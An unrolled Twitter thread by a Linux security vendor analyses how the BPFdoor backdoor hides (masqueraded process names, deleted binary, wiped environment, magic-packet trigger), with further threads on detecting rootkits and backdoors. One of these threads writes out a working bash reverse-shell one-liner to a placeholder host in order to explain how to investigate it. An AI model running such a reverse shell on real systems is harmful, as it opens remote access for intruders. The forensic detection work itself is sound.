I looked at the sources for #BPFdoor and ran @SandflySecurity against the binary. We could find this since at least 1.x of our product. Here is a run down of what it is doing.
#BPFdoor uses eBPF to sniff traffic. It can bypass firewall rules to see packets. When it starts it writes to /var/run/haldrund.pid which is obfuscated as hex in the code. It also masquerades its name using a number of pre-defined command line values below:
After #bpfdoor goes resident it deletes itself from disk. The working directory is /dev/shm (Linux ramdisk). A system reboot ensures the area is wiped. You can see also where it masks the cmdline and command portions in /proc. A ps command shows the bogus name.
#BPFdoor intiates anti-forensics by removing the binary afterwards and this shows up as a deleted binary associated with a running process which is always bad news.
The /proc/<PID>/stack area of the #BPFdoor process shows some suspiciously named functions as the sniffer loop is waiting for commands.
Also, a look under /proc/<PID>/fd shows a file descriptor that is actively grabbing packet traffic. We generated an alert on on this and you can see the packet file descriptor in the raw forensic data. stdin,stdout,stderr are redirected.
The process environment is wiped out so there are no traces to review. This is unusual for most processes on Linux and is worth investigating in and of itself.
A closer look at the /proc/<PID>/cmdline and /proc/<PID>/comm forensic traces in the suspicious process below. Again, there are a number of seemingly benign name it will pick at random on startup.
Looking at the code, it has backdoor capability with encryption (RC4). It also mods iptables rules to allow access when needed. The shell also has some anti-forensics measures in place.
The code is looking for a magic packet with a user-defined password on TCP, UDP or ICMP. Once seen then various things can happen such as shell, etc.
I'll have a longer write-up this week after seeing this backdoor. The use of eBPF is not common and the backdoor is minimalist to avoid detection but get the job done. But, it can be found pretty easily if you know how to look. Thank you @GossiTheDog for the thread.
Check out our blog for many more Linux forensics articles. I'll post there about #BPFDoor when I look at it closer:

sandflysecurity.com/blog/
Realized I made a 1AM typo when doing this. It's BPF, not eBPF. The BPF is a packet filter to efficiently filter for magic packets to operate the backdoor when sniffing inbound traffic.

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Craig Rowland - Agentless Linux Security

Craig Rowland - Agentless Linux Security Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @CraigHRowland

Jul 29
It is a total myth that you need agents on Linux to find attackers. It can all be done in user space and there is no reason to risk system stability doing kernel telemetry science projects across your org. Thread...
First, people think attackers always deploy stealth rootkits on Linux, but this is absolutely not the case. Most attacks are plainly obvious, but many are not found because nobody is looking. Kernel monitoring offers no advantage in finding typical attack patterns.
However, even the stealthiest of Linux stealth rootkits eventually does something to get caught. I've never seen a stealth rootkit in the wild that was perfect, and most of them horribly break things. Detecting rootkits does not require kernel kung-fu.
Read 10 tweets
Jun 25
Detecting stealth rootkits on Linux can be done from the command line. The secret is to ask the same question multiple ways to make sure all answers agree.

Let's find a directory from the Reptile stealth rootkit on Linux with link checks.

h/t @hal_pomeranz for this method. Image
When you run a rootkit like Reptile, they often come with the ability to hide a directory if named a certain way. Any directory with the name "reptile" in it will be hidden with this rootkit as you see below under /lib/udev.
Image
Image
Let's use the tactic of asking the same question multiple ways to find something hiding. Here "ls -d */" shows only directories. We'll pipe it through "wc" to get a count. Only two directories are shown.

ls -d */
ls -d */ | wc -l Image
Read 8 tweets
Jun 17
One of my favorite reverse shells for Linux is this:

bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1

It's simple and works on just about every Linux system without elaborate payloads. Let's discuss how to investigate it. Image
When you look at the process listing, you'll see a shell running. But the shell will have the interactive (-i) flag. In general, this isn't terribly common and is a good place to put your attention. Image
We'll just go right to /proc/PID of the suspicious process. I like looking at open files processes have under /proc/PID/fd. You can learn a lot about what a process is doing by what it has open. Image
Read 10 tweets
Mar 1
Report below on Ubiquiti compromise tactics and indicators. Includes OpenSSH backdoor/credential harvesting and dropped SSH key. Plus custom python based backdoors, iptables proxying and tampered binaries. Some thoughts.

ic3.gov/Media/News/202…
Image
Using SSH with passwords means a trojanized binary will steal any credential of someone logging in. If you are not using public keys with SSH on Ubiquti and other devices (which prevents this), at least use a unique password with *each* device. Do not re-use passwords. Image
A reverse proxy rule is inserted likely to allow leverage of compromised systems to route/hide traffic for a variety of uses. Image
Read 8 tweets
Feb 28
Thanks to one of my anonymous spies, I have run this Linux backdoor and @SandflySecurity easily found it. As discussed:

Process masquerading (renames itself [syslogd])
Opens raw UDP socket for comms
Impersonates kernel thread
Waits for instructions

More details in thread...

Image
Image
As disclosed, it runs as [syslogd] after exec. This is easily seen with a ps -auxwf command that it is sitting out all alone and not part of the main [kthreadd] process PID 2.

ps -auxwf is your friend.

Image
Image
Image
It then opens up a raw socket listening for UDP packets and waits patiently and quietly. The netstat listing shows the [syslogd] process which would be extremely suspicious if you happened to see it.

Image
Image
Image
Read 6 tweets
Oct 17, 2023
The translated Ukrainian report contains more details on these attacks. Let's go over them in this thread. @SandflySecurity can find many of these tactics out of the box right now.
Image
Backdoor PAM authentication and grab passwords used to login. The stolen passwords are dropped in this file with simple XOR encryption:

/lib/libc.so.7

I don't like seeing weird files under /lib directories. Here we flag a standard ELF trying to hide as a shared object variant. Image
They replace /bin/false and /bin/nologin with shells. Users with these default shells you think can't login now can. We also check for this tactic. If you see this, you've been badly hacked.
Image
Image
Read 10 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us!

:(